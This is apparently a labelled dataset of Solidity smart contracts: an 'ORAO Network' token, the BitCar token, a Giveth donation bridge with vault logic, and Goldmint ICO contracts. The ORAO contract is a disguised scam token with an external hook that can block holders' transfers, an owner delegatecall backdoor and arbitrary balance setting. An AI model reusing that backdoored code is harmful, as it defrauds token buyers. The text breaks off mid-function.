function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract AdminUpgradeabilityProxy is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "ORAO Network";
string public symbol = "ORAO";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wrappedBinance, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toAddresses.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = _amounts[i];
emit Transfer(address(0x0), _toAddresses[i], _amounts[i]);
}
}
} | 0 | 1,561 |
pragma solidity ^0.4.23;
contract ERC20TokenInterface {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BitCar is ERC20TokenInterface {
function () public {
revert();
}
string public constant name = 'BitCar';
uint256 public constant decimals = 8;
string public constant symbol = 'BITCAR';
string public constant version = '1.0';
string public constant note = 'If you can dream it, you can do it. Enzo Ferrari';
uint256 private constant totalTokens = 500000000 * (10 ** decimals);
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
event MigrationInfoSet(string newMigrationInfo);
string public migrationInfo = "";
address public migrationInfoSetter;
modifier onlyFromMigrationInfoSetter {
if (msg.sender != migrationInfoSetter) {
revert();
}
_;
}
constructor(address _migrationInfoSetter) public {
if (_migrationInfoSetter == 0) revert();
migrationInfoSetter = _migrationInfoSetter;
balances[msg.sender] = totalTokens;
}
function totalSupply() public constant returns (uint256) {
return totalTokens;
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (balances[msg.sender] >= _value) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value) {
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
return false;
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function compareAndApprove(address _spender, uint256 _currentValue, uint256 _newValue) public returns(bool) {
if (allowed[msg.sender][_spender] != _currentValue) {
return false;
}
return approve(_spender, _newValue);
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function setMigrationInfo(string _migrationInfo) onlyFromMigrationInfoSetter public {
migrationInfo = _migrationInfo;
emit MigrationInfoSet(_migrationInfo);
}
function changeMigrationInfoSetter(address _newMigrationInfoSetter) onlyFromMigrationInfoSetter public {
migrationInfoSetter = _newMigrationInfoSetter;
}
} | 1 | 4,639 |
pragma solidity ^0.4.19;
contract ERC20 {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
pragma solidity ^0.4.19;
contract Owned {
address public owner;
address public newOwnerCandidate;
event OwnershipRequested(address indexed by, address indexed to);
event OwnershipTransferred(address indexed from, address indexed to);
event OwnershipRemoved();
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
function proposeOwnership(address _newOwnerCandidate) public onlyOwner {
newOwnerCandidate = _newOwnerCandidate;
OwnershipRequested(msg.sender, newOwnerCandidate);
}
function acceptOwnership() public {
require(msg.sender == newOwnerCandidate);
address oldOwner = owner;
owner = newOwnerCandidate;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
function changeOwnership(address _newOwner) public onlyOwner {
require(_newOwner != 0x0);
address oldOwner = owner;
owner = _newOwner;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
function removeOwnership(address _dac) public onlyOwner {
require(_dac == 0xdac);
owner = 0x0;
newOwnerCandidate = 0x0;
OwnershipRemoved();
}
}
pragma solidity ^0.4.19;
contract Escapable is Owned {
address public escapeHatchCaller;
address public escapeHatchDestination;
mapping (address=>bool) private escapeBlacklist;
function Escapable(address _escapeHatchCaller, address _escapeHatchDestination) public {
escapeHatchCaller = _escapeHatchCaller;
escapeHatchDestination = _escapeHatchDestination;
}
modifier onlyEscapeHatchCallerOrOwner {
require ((msg.sender == escapeHatchCaller)||(msg.sender == owner));
_;
}
function blacklistEscapeToken(address _token) internal {
escapeBlacklist[_token] = true;
EscapeHatchBlackistedToken(_token);
}
function isTokenEscapable(address _token) view public returns (bool) {
return !escapeBlacklist[_token];
}
function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner {
require(escapeBlacklist[_token]==false);
uint256 balance;
if (_token == 0x0) {
balance = this.balance;
escapeHatchDestination.transfer(balance);
EscapeHatchCalled(_token, balance);
return;
}
ERC20 token = ERC20(_token);
balance = token.balanceOf(this);
require(token.transfer(escapeHatchDestination, balance));
EscapeHatchCalled(_token, balance);
}
function changeHatchEscapeCaller(address _newEscapeHatchCaller) public onlyEscapeHatchCallerOrOwner {
escapeHatchCaller = _newEscapeHatchCaller;
}
event EscapeHatchBlackistedToken(address token);
event EscapeHatchCalled(address token, uint amount);
}
pragma solidity ^0.4.21;
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
pragma solidity ^0.4.21;
contract Vault is Escapable, Pausable {
struct Payment {
string name;
bytes32 reference;
address spender;
uint earliestPayTime;
bool canceled;
bool paid;
address recipient;
address token;
uint amount;
uint securityGuardDelay;
}
Payment[] public authorizedPayments;
address public securityGuard;
uint public absoluteMinTimeLock;
uint public timeLock;
uint public maxSecurityGuardDelay;
bool public allowDisbursePaymentWhenPaused;
mapping (address => bool) public allowedSpenders;
event PaymentAuthorized(uint indexed idPayment, address indexed recipient, uint amount, address token, bytes32 reference);
event PaymentExecuted(uint indexed idPayment, address indexed recipient, uint amount, address token);
event PaymentCanceled(uint indexed idPayment);
event SpenderAuthorization(address indexed spender, bool authorized);
modifier onlySecurityGuard {
require(msg.sender == securityGuard);
_;
}
modifier disbursementsAllowed {
require(!paused || allowDisbursePaymentWhenPaused);
_;
}
function Vault(
address _escapeHatchCaller,
address _escapeHatchDestination,
uint _absoluteMinTimeLock,
uint _timeLock,
address _securityGuard,
uint _maxSecurityGuardDelay
) Escapable(_escapeHatchCaller, _escapeHatchDestination) public
{
absoluteMinTimeLock = _absoluteMinTimeLock;
timeLock = _timeLock;
securityGuard = _securityGuard;
maxSecurityGuardDelay = _maxSecurityGuardDelay;
}
function numberOfAuthorizedPayments() public view returns (uint) {
return authorizedPayments.length;
}
function authorizePayment(
string _name,
bytes32 _reference,
address _recipient,
address _token,
uint _amount,
uint _paymentDelay
) whenNotPaused external returns(uint) {
require(allowedSpenders[msg.sender]);
uint idPayment = authorizedPayments.length;
authorizedPayments.length++;
Payment storage p = authorizedPayments[idPayment];
p.spender = msg.sender;
require(_paymentDelay <= 10**18);
p.earliestPayTime = _paymentDelay >= timeLock ?
_getTime() + _paymentDelay :
_getTime() + timeLock;
p.recipient = _recipient;
p.amount = _amount;
p.name = _name;
p.reference = _reference;
p.token = _token;
emit PaymentAuthorized(idPayment, p.recipient, p.amount, p.token, p.reference);
return idPayment;
}
function disburseAuthorizedPayment(uint _idPayment) disbursementsAllowed public {
require(_idPayment < authorizedPayments.length);
Payment storage p = authorizedPayments[_idPayment];
require(allowedSpenders[p.spender]);
require(_getTime() >= p.earliestPayTime);
require(!p.canceled);
require(!p.paid);
p.paid = true;
if (p.token == 0) {
p.recipient.transfer(p.amount);
} else {
require(ERC20(p.token).transfer(p.recipient, p.amount));
}
emit PaymentExecuted(_idPayment, p.recipient, p.amount, p.token);
}
function disburseAuthorizedPayments(uint[] _idPayments) public {
for (uint i = 0; i < _idPayments.length; i++) {
uint _idPayment = _idPayments[i];
disburseAuthorizedPayment(_idPayment);
}
}
function delayPayment(uint _idPayment, uint _delay) onlySecurityGuard external {
require(_idPayment < authorizedPayments.length);
require(_delay <= 10**18);
Payment storage p = authorizedPayments[_idPayment];
require(p.securityGuardDelay + _delay <= maxSecurityGuardDelay);
require(!p.paid);
require(!p.canceled);
p.securityGuardDelay += _delay;
p.earliestPayTime += _delay;
}
function cancelPayment(uint _idPayment) onlyOwner external {
require(_idPayment < authorizedPayments.length);
Payment storage p = authorizedPayments[_idPayment];
require(!p.canceled);
require(!p.paid);
p.canceled = true;
emit PaymentCanceled(_idPayment);
}
function authorizeSpender(address _spender, bool _authorize) onlyOwner external {
allowedSpenders[_spender] = _authorize;
emit SpenderAuthorization(_spender, _authorize);
}
function setSecurityGuard(address _newSecurityGuard) onlyOwner external {
securityGuard = _newSecurityGuard;
}
function setTimelock(uint _newTimeLock) onlyOwner external {
require(_newTimeLock >= absoluteMinTimeLock);
timeLock = _newTimeLock;
}
function setMaxSecurityGuardDelay(uint _maxSecurityGuardDelay) onlyOwner external {
maxSecurityGuardDelay = _maxSecurityGuardDelay;
}
function pause() onlyOwner whenNotPaused public {
allowDisbursePaymentWhenPaused = false;
super.pause();
}
function setAllowDisbursePaymentWhenPaused(bool allowed) onlyOwner whenPaused public {
allowDisbursePaymentWhenPaused = allowed;
}
function _getTime() internal view returns (uint) {
return now;
}
}
pragma solidity ^0.4.21;
contract FailClosedVault is Vault {
uint public securityGuardLastCheckin;
function FailClosedVault(
address _escapeHatchCaller,
address _escapeHatchDestination,
uint _absoluteMinTimeLock,
uint _timeLock,
address _securityGuard,
uint _maxSecurityGuardDelay
) Vault(
_escapeHatchCaller,
_escapeHatchDestination,
_absoluteMinTimeLock,
_timeLock,
_securityGuard,
_maxSecurityGuardDelay
) public {
}
function disburseAuthorizedPayment(uint _idPayment) disbursementsAllowed public {
require(_idPayment < authorizedPayments.length);
Payment storage p = authorizedPayments[_idPayment];
require(securityGuardLastCheckin >= p.earliestPayTime - timeLock + 30 minutes);
super.disburseAuthorizedPayment(_idPayment);
}
function checkIn() onlySecurityGuard external {
securityGuardLastCheckin = _getTime();
}
}
pragma solidity ^0.4.21;
contract GivethBridge is FailClosedVault {
mapping(address => bool) tokenWhitelist;
event Donate(uint64 giverId, uint64 receiverId, address token, uint amount);
event DonateAndCreateGiver(address giver, uint64 receiverId, address token, uint amount);
event EscapeFundsCalled(address token, uint amount);
function GivethBridge(
address _escapeHatchCaller,
address _escapeHatchDestination,
uint _absoluteMinTimeLock,
uint _timeLock,
address _securityGuard,
uint _maxSecurityGuardDelay
) FailClosedVault(
_escapeHatchCaller,
_escapeHatchDestination,
_absoluteMinTimeLock,
_timeLock,
_securityGuard,
_maxSecurityGuardDelay
) public
{
tokenWhitelist[0] = true;
}
function donateAndCreateGiver(address giver, uint64 receiverId) payable external {
donateAndCreateGiver(giver, receiverId, 0, 0);
}
function donateAndCreateGiver(address giver, uint64 receiverId, address token, uint _amount) whenNotPaused payable public {
require(giver != 0);
require(receiverId != 0);
uint amount = _receiveDonation(token, _amount);
emit DonateAndCreateGiver(giver, receiverId, token, amount);
}
function donate(uint64 giverId, uint64 receiverId) payable external {
donate(giverId, receiverId, 0, 0);
}
function donate(uint64 giverId, uint64 receiverId, address token, uint _amount) whenNotPaused payable public {
require(giverId != 0);
require(receiverId != 0);
uint amount = _receiveDonation(token, _amount);
emit Donate(giverId, receiverId, token, amount);
}
function whitelistToken(address token, bool accepted) whenNotPaused onlyOwner external {
tokenWhitelist[token] = accepted;
}
function escapeFunds(address _token, uint _amount) external onlyEscapeHatchCallerOrOwner {
if (_token == 0) {
escapeHatchDestination.transfer(_amount);
} else {
ERC20 token = ERC20(_token);
require(token.transfer(escapeHatchDestination, _amount));
}
emit EscapeFundsCalled(_token, _amount);
}
function depositEscapedFunds() external payable {
require(msg.sender == escapeHatchDestination);
}
function _receiveDonation(address token, uint _amount) internal returns(uint amount) {
require(tokenWhitelist[token]);
amount = _amount;
if (token == 0) {
amount = msg.value;
}
require(amount > 0);
if (token != 0) {
require(ERC20(token).transferFrom(msg.sender, this, amount));
}
}
} | 1 | 4,520 |
pragma solidity ^0.4.16;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Token is SafeMath {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns(bool) {}
function transferFrom(address _from, address _to, uint256 _value)returns(bool){}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StdToken is Token {
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint public totalSupply = 0;
function transfer(address _to, uint256 _value) returns(bool){
require(balances[msg.sender] >= _value);
require(balances[_to] + _value > balances[_to]);
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool){
require(balances[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
require(balances[_to] + _value > balances[_to]);
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
modifier onlyPayloadSize(uint _size) {
require(msg.data.length >= _size + 4);
_;
}
}
contract MNTP is StdToken {
string public constant name = "Goldmint MNT Prelaunch Token";
string public constant symbol = "MNTP";
uint public constant decimals = 18;
address public creator = 0x0;
address public icoContractAddress = 0x0;
bool public lockTransfers = false;
uint public constant TOTAL_TOKEN_SUPPLY = 10000000 * (1 ether / 1 wei);
modifier onlyCreator() {
require(msg.sender == creator);
_;
}
modifier byCreatorOrIcoContract() {
require((msg.sender == creator) || (msg.sender == icoContractAddress));
_;
}
function setCreator(address _creator) onlyCreator {
creator = _creator;
}
function setIcoContractAddress(address _icoContractAddress) onlyCreator {
icoContractAddress = _icoContractAddress;
}
function MNTP() {
creator = msg.sender;
assert(TOTAL_TOKEN_SUPPLY == (10000000 * (1 ether / 1 wei)));
}
function transfer(address _to, uint256 _value) public returns(bool){
require(!lockTransfers);
return super.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool){
require(!lockTransfers);
return super.transferFrom(_from,_to,_value);
}
function issueTokens(address _who, uint _tokens) byCreatorOrIcoContract {
require((totalSupply + _tokens) <= TOTAL_TOKEN_SUPPLY);
balances[_who] = safeAdd(balances[_who],_tokens);
totalSupply = safeAdd(totalSupply,_tokens);
}
function burnTokens(address _who, uint _tokens) byCreatorOrIcoContract {
balances[_who] = safeSub(balances[_who], _tokens);
totalSupply = safeSub(totalSupply, _tokens);
}
function lockTransfer(bool _lock) byCreatorOrIcoContract {
lockTransfers = _lock;
}
function() {
revert();
}
}
contract GoldmintUnsold is SafeMath {
address public creator;
address public teamAccountAddress;
address public icoContractAddress;
uint64 public icoIsFinishedDate;
MNTP public mntToken;
function GoldmintUnsold(address _teamAccountAddress,address _mntTokenAddress){
creator = msg.sender;
teamAccountAddress = _teamAccountAddress;
mntToken = MNTP(_mntTokenAddress);
}
modifier onlyCreator() {
require(msg.sender==creator);
_;
}
modifier onlyIcoContract() {
require(msg.sender==icoContractAddress);
_;
}
function setIcoContractAddress(address _icoContractAddress) onlyCreator {
icoContractAddress = _icoContractAddress;
}
function finishIco() public onlyIcoContract {
icoIsFinishedDate = uint64(now);
}
function withdrawTokens() public {
uint64 oneYearPassed = icoIsFinishedDate + 365 days;
require(uint(now) >= oneYearPassed);
uint total = mntToken.balanceOf(this);
mntToken.transfer(teamAccountAddress,total);
}
function() payable {
revert();
}
}
contract FoundersVesting is SafeMath {
address public teamAccountAddress;
uint64 public lastWithdrawTime;
uint public withdrawsCount = 0;
uint public amountToSend = 0;
MNTP public mntToken;
function FoundersVesting(address _teamAccountAddress,address _mntTokenAddress){
teamAccountAddress = _teamAccountAddress;
lastWithdrawTime = uint64(now);
mntToken = MNTP(_mntTokenAddress);
}
function withdrawTokens() public {
uint64 oneMonth = lastWithdrawTime + 30 days;
require(uint(now) >= oneMonth);
if(withdrawsCount==0){
amountToSend = mntToken.balanceOf(this) / 10;
}
require(amountToSend!=0);
uint currentBalance = mntToken.balanceOf(this);
if(currentBalance<amountToSend){
amountToSend = currentBalance;
}
mntToken.transfer(teamAccountAddress,amountToSend);
withdrawsCount++;
lastWithdrawTime = uint64(now);
}
function() payable {
require(false);
}
}
contract Goldmint is SafeMath {
address public creator = 0x0;
address public tokenManager = 0x0;
address public multisigAddress = 0x0;
address public otherCurrenciesChecker = 0x0;
uint64 public icoStartedTime = 0;
MNTP public mntToken;
GoldmintUnsold public unsoldContract;
struct TokenBuyer {
uint weiSent;
uint tokensGot;
}
mapping(address => TokenBuyer) buyers;
uint constant STD_PRICE_USD_PER_1000_TOKENS = 7000;
uint constant ETH_PRICE_IN_USD = 300;
uint public constant SINGLE_BLOCK_LEN = 100;
uint public constant BONUS_REWARD = 1000000 * (1 ether/ 1 wei);
uint public constant FOUNDERS_REWARD = 2000000 * (1 ether / 1 wei);
uint public constant ICO_TOKEN_SUPPLY_LIMIT = 150 * (1 ether / 1 wei);
uint public constant ICO_TOKEN_SOFT_CAP = 150000 * (1 ether / 1 wei);
uint public icoTokensSold = 0;
uint public icoTokensUnsold = 0;
uint public issuedExternallyTokens = 0;
bool public foundersRewardsMinted = false;
bool public restTokensMoved = false;
address public foundersRewardsAccount = 0x0;
enum State{
Init,
ICORunning,
ICOPaused,
ICOFinished,
Refunding
}
State public currentState = State.Init;
modifier onlyCreator() {
require(msg.sender==creator);
_;
}
modifier onlyTokenManager() {
require(msg.sender==tokenManager);
_;
}
modifier onlyOtherCurrenciesChecker() {
require(msg.sender==otherCurrenciesChecker);
_;
}
modifier onlyInState(State state){
require(state==currentState);
_;
}
event LogStateSwitch(State newState);
event LogBuy(address indexed owner, uint value);
event LogBurn(address indexed owner, uint value);
function Goldmint(
address _multisigAddress,
address _tokenManager,
address _otherCurrenciesChecker,
address _mntTokenAddress,
address _unsoldContractAddress,
address _foundersVestingAddress)
{
creator = msg.sender;
multisigAddress = _multisigAddress;
tokenManager = _tokenManager;
otherCurrenciesChecker = _otherCurrenciesChecker;
mntToken = MNTP(_mntTokenAddress);
unsoldContract = GoldmintUnsold(_unsoldContractAddress);
foundersRewardsAccount = _foundersVestingAddress;
}
function startICO() internal onlyCreator {
mintFoundersRewards(foundersRewardsAccount);
mntToken.lockTransfer(true);
if(icoStartedTime==0){
icoStartedTime = uint64(now);
}
}
function pauseICO() internal onlyCreator {
}
function startRefunding() internal onlyCreator {
require(icoTokensSold<ICO_TOKEN_SOFT_CAP);
assert(mntToken.lockTransfers());
}
function finishICO() internal {
mntToken.lockTransfer(false);
if(!restTokensMoved){
restTokensMoved = true;
icoTokensUnsold = safeSub(ICO_TOKEN_SUPPLY_LIMIT,icoTokensSold);
if(icoTokensUnsold>0){
mntToken.issueTokens(unsoldContract,icoTokensUnsold);
unsoldContract.finishIco();
}
}
if(this.balance>0){
multisigAddress.transfer(this.balance);
}
}
function mintFoundersRewards(address _whereToMint) internal onlyCreator {
if(!foundersRewardsMinted){
foundersRewardsMinted = true;
mntToken.issueTokens(_whereToMint,FOUNDERS_REWARD);
}
}
function setTokenManager(address _new) public onlyTokenManager {
tokenManager = _new;
}
function setOtherCurrenciesChecker(address _new) public onlyCreator {
otherCurrenciesChecker = _new;
}
function getTokensIcoSold() constant public returns (uint){
return icoTokensSold;
}
function getTotalIcoTokens() constant public returns (uint){
return ICO_TOKEN_SUPPLY_LIMIT;
}
function getMntTokenBalance(address _of) constant public returns (uint){
return mntToken.balanceOf(_of);
}
function getCurrentPrice()constant public returns (uint){
return getMntTokensPerEth(icoTokensSold);
}
function getBlockLength()constant public returns (uint){
return SINGLE_BLOCK_LEN;
}
function isIcoFinished() public returns(bool){
if(icoStartedTime==0){return false;}
uint64 oneMonth = icoStartedTime + 30 days;
if(uint(now) > oneMonth){return true;}
if(icoTokensSold>=ICO_TOKEN_SUPPLY_LIMIT){
return true;
}
return false;
}
function setState(State _nextState) public {
bool icoShouldBeFinished = isIcoFinished();
bool allow = (msg.sender==creator) || (icoShouldBeFinished && (State.ICOFinished==_nextState));
require(allow);
bool canSwitchState
= (currentState == State.Init && _nextState == State.ICORunning)
|| (currentState == State.ICORunning && _nextState == State.ICOPaused)
|| (currentState == State.ICOPaused && _nextState == State.ICORunning)
|| (currentState == State.ICORunning && _nextState == State.ICOFinished)
|| (currentState == State.ICORunning && _nextState == State.Refunding);
require(canSwitchState);
currentState = _nextState;
LogStateSwitch(_nextState);
if(currentState==State.ICORunning){
startICO();
}else if(currentState==State.ICOFinished){
finishICO();
}else if(currentState==State.ICOPaused){
pauseICO();
}else if(currentState==State.Refunding){
startRefunding();
}
}
function getMntTokensPerEth(uint tokensSold) public constant returns (uint){
uint priceIndex = (tokensSold / (1 ether/ 1 wei)) / SINGLE_BLOCK_LEN;
assert(priceIndex>=0 && (priceIndex<=9));
uint8[10] memory discountPercents = [20,15,10,8,6,4,2,0,0,0];
uint pricePer1000tokensUsd =
((STD_PRICE_USD_PER_1000_TOKENS * 100) * (1 ether / 1 wei)) / (100 + discountPercents[priceIndex]);
uint mntPerEth = (ETH_PRICE_IN_USD * 1000 * (1 ether / 1 wei) * (1 ether / 1 wei)) / pricePer1000tokensUsd;
return mntPerEth;
}
function buyTokens(address _buyer) public payable onlyInState(State.ICORunning) {
require(msg.value!=0);
uint newTokens = (msg.value * getMntTokensPerEth(icoTokensSold)) / (1 ether / 1 wei);
issueTokensInternal(_buyer,newTokens);
TokenBuyer memory b = buyers[msg.sender];
b.weiSent = safeAdd(b.weiSent, msg.value);
b.tokensGot = safeAdd(b.tokensGot, newTokens);
buyers[msg.sender] = b;
}
function issueTokensFromOtherCurrency(address _to, uint _wei_count) onlyInState(State.ICORunning) public onlyOtherCurrenciesChecker {
require(_wei_count!=0);
uint newTokens = (_wei_count * getMntTokensPerEth(icoTokensSold)) / (1 ether / 1 wei);
issueTokensInternal(_to,newTokens);
}
function issueTokensExternal(address _to, uint _tokens) public onlyInState(State.ICOFinished) onlyTokenManager {
require((issuedExternallyTokens + _tokens)<=BONUS_REWARD);
mntToken.issueTokens(_to,_tokens);
issuedExternallyTokens = issuedExternallyTokens + _tokens;
}
function issueTokensInternal(address _to, uint _tokens) internal {
require((icoTokensSold + _tokens)<=ICO_TOKEN_SUPPLY_LIMIT);
mntToken.issueTokens(_to,_tokens);
icoTokensSold+=_tokens;
LogBuy(_to,_tokens);
}
function burnTokens(address _from, uint _tokens) public onlyInState(State.ICOFinished) onlyTokenManager {
mntToken.burnTokens(_from,_tokens);
LogBurn(_from,_tokens);
}
function getMyRefund() public onlyInState(State.Refunding) {
address sender = msg.sender;
require(0!=buyers[sender].weiSent);
require(0!=buyers[sender].tokensGot);
sender.transfer(buyers[sender].weiSent);
